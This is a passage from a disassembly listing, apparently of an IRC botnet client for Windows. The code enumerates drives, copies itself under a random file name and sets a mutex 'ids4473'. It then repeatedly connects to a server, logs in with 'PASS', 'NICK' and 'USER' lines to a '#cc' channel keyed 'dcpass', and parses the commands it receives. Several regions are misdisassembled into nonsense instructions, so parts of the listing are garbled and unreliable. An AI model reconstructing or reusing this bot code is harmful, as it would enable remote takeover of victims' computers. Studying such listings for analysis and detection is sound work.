loc_4095F3 ; --------------------------------------------------------------------------- loc_4095E7: ; CODE XREF: .nsp0:004091A0j lea eax, [ebp-248h] push eax push offset unk_4257B8 loc_4095F3: ; CODE XREF: .nsp0:004095E5j lea eax, [ebp-510h] push eax call sub_411EEE loc_4095FF: ; CODE XREF: .nsp0:004095C2j add esp, 0Ch cmp [ebp-30h], esi jnz short loc_409627 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_40F9F1 add esp, 14h loc_409627: ; CODE XREF: .nsp0:00409605j lea eax, [ebp-510h] push eax call sub_408E17 pop ecx loc_409634: ; CODE XREF: .nsp0:004093F7j ; .nsp0:00409480j ... push dword ptr [ebp-18h] call dword_433AFC ; InternetCloseHandle push dword ptr [ebp-48h] call sub_411CB6 pop ecx push esi call near ptr 0AB0000h loc_40964C: ; CODE XREF: .nsp0:00409279p jge short loc_4095D9 inc esp and al, 4 xor ecx, ecx cmp [esp+8], ecx jle short locret_409669 loc_409659: ; CODE XREF: .nsp0:00409667j mov dl, byte_425B6C xor [ecx+eax], dl inc ecx cmp ecx, [esp+8] jl short loc_409659 locret_409669: ; CODE XREF: .nsp0:00409657j retn ; =============== S U B R O U T I N E ======================================= sub_40966A proc near ; CODE XREF: .nsp0:0040C856p ; .nsp0:0040C9B5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_413EAF pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_40966A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409684 proc near ; CODE XREF: sub_404A02+45Dp ; sub_404A02+5F9p ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_437E98 push 0 push edi call sub_411F70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_4096A9: ; CODE XREF: sub_409684+5Bj ; sub_409684+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_413B10 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_413B90 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_4096E7 inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_4096A9 mov byte ptr [esi], 2Ch inc esi jmp short loc_4096A9 ; --------------------------------------------------------------------------- loc_4096E7: ; CODE XREF: sub_409684+4Bj dec esi mov eax, edi loc_4096EA: ; CODE XREF: sub_409684+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_4096F9 mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_4096EA ; --------------------------------------------------------------------------- loc_4096F9: ; CODE XREF: sub_409684+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_409684 endp ; =============== S U B R O U T I N E ======================================= sub_409703 proc near ; CODE XREF: sub_4098AF+51p ; sub_4098AF+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_433B28 ; GetDriveTypeA sub eax, 0 jz short loc_409746 dec eax jz short loc_409740 dec eax dec eax jz short loc_40973A dec eax jz short loc_409734 dec eax jz short loc_40972E dec eax jz short loc_409728 mov eax, offset word_425638 retn ; --------------------------------------------------------------------------- loc_409728: ; CODE XREF: sub_409703+1Dj mov eax, offset aRam ; "RAM" retn ; --------------------------------------------------------------------------- loc_40972E: ; CODE XREF: sub_409703+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_409734: ; CODE XREF: sub_409703+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_40973A: ; CODE XREF: sub_409703+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_409740: ; CODE XREF: sub_409703+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_409746: ; CODE XREF: sub_409703+Dj mov eax, offset aUnknown ; "Unknown" retn sub_409703 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40974C proc near ; CODE XREF: sub_409794+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4339C4 test eax, eax jz short loc_409781 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; dword_4339C4 loc_409781: ; CODE XREF: sub_40974C+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_40974C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409794 proc near ; CODE XREF: sub_4098AF+17p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_40974C pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_40986C mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_40986C mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_40986C push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_413F00 push edx push eax call sub_409684 mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41246A add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_413F00 push edx push eax call sub_409684 push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41246A add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_413F00 push edx push eax call sub_409684 push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41246A add esp, 18h pop ebx jmp short loc_40989B ; --------------------------------------------------------------------------- loc_40986C: ; CODE XREF: sub_409794+2Cj ; sub_409794+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_411EEE lea eax, [ebp+var_118] push esi push eax call sub_411EEE lea eax, [ebp+var_98] push esi push eax call sub_411EEE add esp, 18h loc_40989B: ; CODE XREF: sub_409794+D6j mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_409794 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4098AF proc near ; CODE XREF: sub_409981+17p ; sub_409981+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_409794 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_412310 add esp, 10h test eax, eax jnz short loc_409922 push ebx push ebx call sub_409703 pop ecx push eax push offset dword_425AF8 lea eax, [ebp+var_500] push 200h push eax call sub_41246A add esp, 14h jmp short loc_409956 ; --------------------------------------------------------------------------- loc_409922: ; CODE XREF: sub_4098AF+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_409703 pop ecx push eax push offset dword_425AA8 lea eax, [ebp+var_500] push 200h push eax call sub_41246A add esp, 20h loc_409956: ; CODE XREF: sub_4098AF+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40F9F1 lea eax, [ebp+var_500] push eax call sub_408E17 add esp, 18h pop edi pop esi pop ebx leave retn sub_4098AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409981 proc near ; CODE XREF: .nsp0:0040EFC9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_4099A2 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4098AF add esp, 10h jmp short loc_409A03 ; --------------------------------------------------------------------------- loc_4099A2: ; CODE XREF: sub_409981+9j push esi push edi push ebx push ebx call dword_433A38 ; GetLogicalDriveStringsA lea esi, [eax+2] push esi call sub_41279F pop ecx mov edi, eax push edi push esi call dword_433A38 ; GetLogicalDriveStringsA cmp [edi], bl mov esi, edi jz short loc_4099FA loc_4099C6: ; CODE XREF: sub_409981+77j push offset aA_0 ; "A:\\" push esi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_4099E9 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4098AF add esp, 10h loc_4099E9: ; CODE XREF: sub_409981+54j push esi call sub_4126F0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_4099C6 loc_4099FA: ; CODE XREF: sub_409981+43j push edi call sub_412813 pop ecx pop edi pop esi loc_409A03: ; CODE XREF: sub_409981+1Fj pop ebx pop ebp retn sub_409981 endp ; --------------------------------------------------------------------------- loc_409A06: ; DATA XREF: .nsp0:00409B02o push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_438C64 call dword_433B60 ; closesocket call sub_411B63 call dword_433A28 ; WSACleanup call dword_433A28 ; WSACleanup mov ebx, dword_41D05C push 64h call ebx ; dword_41D05C xor edi, edi push 10h lea eax, [ebp-10h] push edi push eax call sub_411F70 push 44h lea eax, [ebp-54h] pop esi push esi push edi push eax call sub_411F70 add esp, 18h mov [ebp-54h], esi mov esi, 104h lea eax, [ebp-25Ch] push esi push eax mov dword ptr [ebp-48h], offset byte_432708 mov dword ptr [ebp-28h], 1 mov [ebp-24h], di call near ptr 0AB0000h inc edi lea eax, [ebp-158h] push esi push eax push edi call near ptr 0AB0000h mov ch, 8Dh inc ebp lock push eax lea eax, [ebp-54h] push eax lea eax, [ebp-25Ch] push eax push edi push 28h push 1 push edi lea eax, [ebp-158h] push edi push eax push edi call near ptr 0AB0000h xchg eax, edx test eax, eax jz short loc_409ACB push 64h call ebx ; dword_41D05C push dword ptr [ebp-10h] mov esi, dword_41D074 call esi ; dword_41D074 push dword ptr [ebp-0Ch] call esi ; dword_41D074 loc_409ACB: ; CODE XREF: .nsp0:00409AB5j mov eax, [ebp+10h] mov dword ptr [eax+0B0h], offset dword_437ED0 mov eax, [esp] mov large fs:0, eax add esp, 8 push edi call dword_41D108 ; ExitProcess pop edi pop esi pop ebx push ebp mov ebp, esp sub esp, 98Ch push ebx xor ebx, ebx push esi push edi mov [ebp-10h], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-8], offset loc_409A06 push dword ptr [ebp-8] push large dword ptr fs:0 mov large fs:0, esp cmp dword_425B60, ebx jz short loc_409B27 call sub_407E71 loc_409B27: ; CODE XREF: .nsp0:00409B20j mov esi, dword_41D048 call esi ; dword_41D048 xor edx, edx mov ecx, 3E8h div ecx mov dword_461F48, eax call esi ; dword_41D048 push eax call sub_411F40 pop ecx call sub_4068C6 push 2 call dword_433B74 ; SetErrorMode push 7530h push offset aIds4473 ; "ids4473" push ebx push ebx call near ptr 0AB0000h popa push eax call near ptr 0AB0000h push edi cmp eax, 102h jnz short loc_409B7B push 1 call dword_41D108 ; ExitProcess loc_409B7B: ; CODE XREF: .nsp0:00409B71j lea eax, [ebp-888h] push eax push 202h call dword_433A40 ; WSAStartup cmp eax, ebx mov [ebp-8], eax jnz loc_40A050 cmp byte ptr [ebp-888h], 2 jnz loc_40A04A xor eax, eax mov al, [ebp-887h] cmp al, 2 jnz loc_40A04A mov esi, 104h lea eax, [ebp-3F4h] push esi push eax call near ptr 0AB0000h repne lea eax, [ebp-2F0h] push esi push eax push ebx call near ptr 0AB0000h loop loc_409C28 call near ptr 0AB0000h stosd lea eax, [ebp-5F8h] push eax lea eax, [ebp-6F8h] push eax push ebx lea eax, [ebp-2F0h] push ebx push eax call sub_413BF8 lea eax, [ebp-5F8h] push eax lea eax, [ebp-6F8h] push eax push offset aSS_2 ; "%s%s" lea eax, [ebp-4F8h] push esi push eax call sub_41246A lea eax, [ebp-3F4h] push eax lea eax, [ebp-2F0h] push eax loc_409C28: ; CODE XREF: .nsp0:00409BD6j call sub_4124C0 add esp, 30h test eax, eax jnz loc_409DDE cmp dword_4620B8, ebx mov esi, offset byte_425BC0 jz short loc_409C76 push esi xor edi, edi call sub_4126F0 sub eax, 4 pop ecx jz short loc_409C76 loc_409C53: ; CODE XREF: .nsp0:00409C74j call sub_411F4A push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_425BC0[edi], dl inc edi call sub_4126F0 sub eax, 4 pop ecx cmp edi, eax jb short loc_409C53 loc_409C76: ; CODE XREF: .nsp0:00409C43j ; .nsp0:00409C51j lea eax, [ebp-3F4h] push esi push eax lea eax, [ebp-1ECh] push offset aSS_3 ; "%s\\%s" push eax call sub_411EEE add esp, 10h lea eax, [ebp-1ECh] push eax call dword_41D080 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short near ptr loc_409CB5+1 lea eax, [ebp-1ECh] push 80h push eax call near ptr 0AB0000h loc_409CB5: ; CODE XREF: .nsp0:00409CA2j test [ebx+41D11835h], ecx add [ebp-1EB7Bh], cl call dword ptr [ebx+50h] lea eax, [ebp-2F0h] xor edi, edi push eax loc_409CCD: ; CODE XREF: .nsp0:00409D04j call esi ; byte_425BC0 test eax, eax jnz short loc_409D06 call dword_41D06C ; RtlGetLastWin32Error cmp edi, ebx jnz short loc_409D06 cmp eax, 20h jz short loc_409CE7 cmp eax, 5 jnz short loc_409D06 loc_409CE7: ; CODE XREF: .nsp0:00409CE0j push 1 pop edi push 3A98h call dword_41D05C ; Sleep lea eax, [ebp-1ECh] push ebx push eax lea eax, [ebp-2F0h] push eax jmp short loc_409CCD ; --------------------------------------------------------------------------- loc_409D06: ; CODE XREF: .nsp0:00409CD1j ; .nsp0:00409CDBj ... lea eax, [ebp-1ECh] push eax call sub_407C23 pop ecx lea eax, [ebp-1ECh] push 7 push eax call near ptr 0AB0000h shr dword ptr [edx+10h], 1 lea eax, [ebp-24h] push ebx push eax call sub_411F70 push 44h lea eax, [ebp-68h] pop esi push esi push ebx push eax call sub_411F70 add esp, 18h mov [ebp-68h], esi mov dword ptr [ebp-5Ch], offset byte_432708 mov [ebp-38h], bx push 1 pop esi mov [ebp-3Ch], esi call near ptr 0AB0000h or [eax+56h], edx push 100000h call near ptr 0AB0000h push esi lea ecx, [ebp-2F0h] push ecx push eax lea eax, [ebp-1ECh] push eax lea eax, [ebp-98Ch] push offset dword_42CC40 push eax call sub_411EEE add esp, 14h lea eax, [ebp-24h] push eax lea eax, [ebp-68h] push eax lea eax, [ebp-3F4h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-98Ch] push ebx push eax lea eax, [ebp-1ECh] push eax call near ptr 0AB0000h movsd test eax, eax jz short loc_409DDE push 0C8h call dword_41D05C ; Sleep push dword ptr [ebp-24h] mov esi, dword_41D074 call esi ; dword_41D074 push dword ptr [ebp-20h] call esi ; dword_41D074 call dword_433A28 ; WSACleanup push ebx call dword_41D108 ; ExitProcess loc_409DDE: ; CODE XREF: .nsp0:00409C32j ; .nsp0:00409DB4j cmp dword_462BE0, 2 jle short loc_409E2A mov eax, dword_462BE4 push dword ptr [eax+4] call sub_41245F pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 0AB0000h repne push esi call dword_41D074 ; CloseHandle mov eax, dword_462BE4 cmp [eax+8], ebx jz short loc_409E2A push 7D0h call dword_41D05C ; Sleep mov eax, dword_462BE4 push dword ptr [eax+8] call near ptr 0AB0000h das loc_409E2A: ; CODE XREF: .nsp0:00409DE5j ; .nsp0:00409E0Fj cmp dword_425B68, ebx jz short loc_409E47 cmp dword_433B98, ebx jnz short loc_409E47 lea eax, [ebp-4F8h] push eax call sub_409026 pop ecx loc_409E47: ; CODE XREF: .nsp0:00409E30j ; .nsp0:00409E38j lea eax, [ebp-0E8h] push offset dword_42CC14 push eax call sub_411EEE push ebx lea eax, [ebp-0E8h] push ebx push eax call sub_41199A lea eax, [ebp-0E8h] push eax call sub_408E17 push 0B80h push ebx push offset dword_437ED8 call sub_411F70 lea eax, [ebp-0E8h] push offset unk_42CBD8 push eax call sub_411EEE push ebx lea eax, [ebp-0E8h] push 1 push eax call sub_41199A add esp, 38h mov esi, eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F8h] push ebx push eax push offset sub_409096 push ebx push ebx call dword_41D070 ; CreateThread imul esi, 234h cmp eax, ebx mov dword_438C6C[esi], eax jnz short loc_409EEB call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp-0E8h] push offset unk_42CB88 push eax call sub_411EEE add esp, 0Ch loc_409EEB: ; CODE XREF: .nsp0:00409ECEj lea eax, [ebp-0E8h] push eax call sub_408E17 call sub_411F4A push 7Fh push offset a1068346466 ; "1068346466" push offset dword_461F54 mov dword_4620CC, ebx call sub_413710 mov eax, dword_425B4C push 3Fh mov edi, offset dword_461FD4 push offset aCc ; "#cc" push edi mov dword_4620A4, eax call sub_413710 push 3Fh mov esi, offset dword_462014 push offset aDcpass ; "dcpass" push esi call sub_413710 add esp, 28h mov dword_4620A8, ebx loc_409F4A: ; CODE XREF: .nsp0:00409FF0j ; .nsp0:00409FFBj ... mov [ebp-4], ebx loc_409F4D: ; CODE XREF: .nsp0:00409FA4j cmp dword_433BB0, ebx jnz short loc_409F6B lea eax, [ebp-14h] push ebx push eax call dword_433A0C ; InternetGetConnectedState test eax, eax jnz short loc_409F6B push 7530h jmp short loc_409F97 ; --------------------------------------------------------------------------- loc_409F6B: ; CODE XREF: .nsp0:00409F53j ; .nsp0:00409F62j push offset dword_461F50 mov dword_4620C8, ebx call sub_40A059 cmp eax, 2 mov [ebp-8], eax jz loc_40A045 cmp dword_4620C8, ebx jz short loc_409F92 dec dword ptr [ebp-4] loc_409F92: ; CODE XREF: .nsp0:00409F8Dj push 0BB8h loc_409F97: ; CODE XREF: .nsp0:00409F69j call dword_41D05C ; Sleep inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_409F4D cmp dword ptr [ebp-8], 2 jz loc_40A045 cmp [ebp-0Ch], ebx jz short loc_409FF5 push 7Fh push offset a1068346466 ; "1068346466" push offset dword_461F54 call sub_413710 mov eax, dword_425B4C push 3Fh push offset aCc ; "#cc" push edi mov dword_4620A4, eax call sub_413710 push 3Fh push offset aDcpass ; "dcpass" push esi call sub_413710 add esp, 24h mov [ebp-0Ch], ebx jmp loc_409F4A ; --------------------------------------------------------------------------- loc_409FF5: ; CODE XREF: .nsp0:00409FB3j cmp byte_425BA8, bl jz loc_409F4A push 7Fh push offset byte_425BA8 push offset dword_461F54 call sub_413710 mov eax, dword_425B50 push 3Fh push offset aCc_0 ; "#cc" push edi mov dword_4620A4, eax call sub_413710 push 3Fh push offset aDcpass_0 ; "dcpass" push esi call sub_413710 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_409F4A ; --------------------------------------------------------------------------- loc_40A045: ; CODE XREF: .nsp0:00409F81j ; .nsp0:00409FAAj call sub_411B63 loc_40A04A: ; CODE XREF: .nsp0:00409B9Fj ; .nsp0:00409BAFj call dword_433A28 ; WSACleanup loc_40A050: ; CODE XREF: .nsp0:00409B92j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A059 proc near ; CODE XREF: .nsp0:00409F76p ; DATA XREF: .nsp0:0040D8F7o var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40A07E: ; CODE XREF: sub_40A059+E6j ; sub_40A059+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_411F70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_433AC8 ; ntohs mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_407F2F test eax, eax pop ecx mov [ebp+var_C], eax jz loc_40A1AB push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_411F70 push 0 lea eax, [ebp+var_2C] push dword_4620BC push dword_425B74 push eax call sub_4110D8 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_438C70 push edi push eax call sub_413710 add esp, 28h push 6 push 1 push 2 call dword_433B48 ; socket mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_438C64[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_433A70 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40A144 push esi call dword_433B60 ; closesocket call sub_407F58 push 7D0h loc_40A139: ; CODE XREF: sub_40A059+146j call dword_41D05C ; Sleep jmp loc_40A07E ; --------------------------------------------------------------------------- loc_40A144: ; CODE XREF: sub_40A059+CDj lea eax, [ebp+var_18C] push eax push offset dword_42CC4C call sub_408E8B push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40A1C1 add esp, 28h mov edi, eax push esi call dword_433B60 ; closesocket test edi, edi jz loc_40A07E cmp edi, 1 jnz short loc_40A1A1 push 0DBBA0h jmp short loc_40A139 ; --------------------------------------------------------------------------- loc_40A1A1: ; CODE XREF: sub_40A059+13Fj cmp edi, 2 jz short loc_40A1AF jmp loc_40A07E ; --------------------------------------------------------------------------- loc_40A1AB: ; CODE XREF: sub_40A059+5Aj xor eax, eax jmp short loc_40A1BB ; --------------------------------------------------------------------------- loc_40A1AF: ; CODE XREF: sub_40A059+14Bj push [ebp+var_34] call sub_411CB6 pop ecx push 2 pop eax loc_40A1BB: ; CODE XREF: sub_40A059+154j pop edi pop esi leave retn 4 sub_40A059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A1C1 proc near ; CODE XREF: sub_40A059+123p var_1A10 = byte ptr -1A10h var_A10 = byte ptr -0A10h var_240 = byte ptr -240h var_1A0 = byte ptr -1A0h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A10h call sub_412770 push ebx push esi push edi xor ebx, ebx push 2 mov [ebp+var_8], ebx lea eax, [ebp+var_1A0] pop ecx loc_40A1DF: ; CODE XREF: sub_40A1C1+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40A1DF cmp byte_4620C0, bl jz short loc_40A206 push offset byte_4620C0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40F9AB add esp, 0Ch loc_40A206: ; CODE XREF: sub_40A1C1+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_4110D8 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_411EEE add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_4126F0 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_433B18 ; send cmp eax, 0FFFFFFFFh jnz short loc_40A270 push [ebp+arg_0] call dword_433B60 ; closesocket push 1388h call dword_41D05C ; Sleep loc_40A269: ; CODE XREF: sub_40A1C1+D9j ; sub_40A1C1+153j xor eax, eax loc_40A26B: ; CODE XREF: sub_40A1C1+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A270: ; CODE XREF: sub_40A1C1+92j ; sub_40A1C1+F8j ... mov esi, 1000h lea eax, [ebp+var_1A10] push esi push ebx push eax call sub_411F70 add esp, 0Ch lea eax, [ebp+var_1A10] push ebx push esi push eax push [ebp+arg_0] call dword_433AE0 ; recv test eax, eax jle short loc_40A269 lea eax, [ebp+var_A10] push eax lea eax, [ebp+var_1A10] push eax call sub_40790F pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_40A270 lea edi, [ebp+var_A10] loc_40A2C1: ; CODE XREF: sub_40A1C1+165j push 1 pop esi loc_40A2C4: ; CODE XREF: sub_40A1C1+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_240] push eax lea eax, [ebp+var_1A0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call loc_40A339 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_40A307 push 7D0h call dword_41D05C ; Sleep jmp short loc_40A2C4 ; --------------------------------------------------------------------------- loc_40A307: ; CODE XREF: sub_40A1C1+137j cmp esi, 0FFFFFFFDh jz short loc_40A331 cmp esi, 0FFFFFFFEh jz short loc_40A32D cmp esi, 0FFFFFFFFh jz loc_40A269 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_40A2C1 jmp loc_40A270 ; --------------------------------------------------------------------------- loc_40A32D: ; CODE XREF: sub_40A1C1+14Ej push 1 jmp short loc_40A333 ; --------------------------------------------------------------------------- loc_40A331: ; CODE XREF: sub_40A1C1+149j push 2 loc_40A333: ; CODE XREF: sub_40A1C1+16Ej pop eax jmp loc_40A26B sub_40A1C1 endp ; --------------------------------------------------------------------------- loc_40A339: ; CODE XREF: sub_40A1C1+12Ap push ebp mov ebp, esp mov eax, 159Ch call sub_412770 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp-2C8h] push ebx push eax mov dword ptr [ebp-0ACh], 3 mov [ebp-10h], ebx mov [ebp-0A8h], ebx mov [ebp-8], ebx mov [ebp-4], ebx mov [ebp-0C8h], ebx call sub_411F70 push 1Bh lea eax, [ebp-564h] push dword ptr [ebp+18h] push eax call sub_413710 add esp, 18h cmp [ebp+8], ebx jz loc_40A7B4 push esi lea eax, [ebp-0F9Ch] push ebx push eax call sub_411F70 dec esi lea eax, [ebp-0F9Ch] push esi push dword ptr [ebp+8] push eax call sub_413710 lea eax, [ebp-0F9Ch] push offset asc_42FCC8 ; " :" push eax call sub_4124C0 mov [ebp-0Ch], eax lea eax, [ebp-0F9Ch] push esi push eax lea eax, [ebp-119Ch] push eax call sub_413710 mov esi, offset asc_421F4C ; " " lea eax, [ebp-119Ch] push esi push eax call sub_413668 add esp, 34h mov [ebp-94h], eax lea edi, [ebp-90h] mov dword ptr [ebp-0A4h], 1Fh loc_40A40C: ; CODE XREF: .nsp0:0040A420j push esi push ebx call sub_413668 mov [edi], eax pop ecx add edi, 4 dec dword ptr [ebp-0A4h] pop ecx jnz short loc_40A40C mov esi, [ebp-94h] cmp esi, ebx jz loc_40A7B4 cmp [ebp-90h], ebx jz loc_40A7B4 push 100h lea eax, [ebp-0A14h] push ebx push eax call sub_411F70 add esp, 0Ch lea ecx, [ebp-18h] push 1Fh pop edx push 1 pop edi loc_40A45A: ; CODE XREF: .nsp0:0040A48Cj mov eax, [ecx] cmp eax, ebx jz short loc_40A486 cmp byte ptr [eax], 2Dh jnz short loc_40A48E cmp [eax+2], bl jnz short loc_40A48E movsx esi, byte ptr [eax+1] mov [ecx], ebx mov byte ptr [ebp+esi-0A14h], 1 mov esi, [ebp-94h] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_40A486: ; CODE XREF: .nsp0:0040A45Ej dec edx sub ecx, 4 cmp edx, ebx jge short loc_40A45A loc_40A48E: ; CODE XREF: .nsp0:0040A463j ; .nsp0:0040A468j cmp [ebp-9A1h], bl jz short loc_40A499 mov [ebp-8], edi loc_40A499: ; CODE XREF: .nsp0:0040A494j cmp [ebp-9A6h], bl jz short loc_40A4A7 mov [ebp-8], ebx mov [ebp-4], edi loc_40A4A7: ; CODE XREF: .nsp0:0040A49Fj cmp byte ptr [esi], 0Ah jz short loc_40A4E1 push 7Fh lea eax, 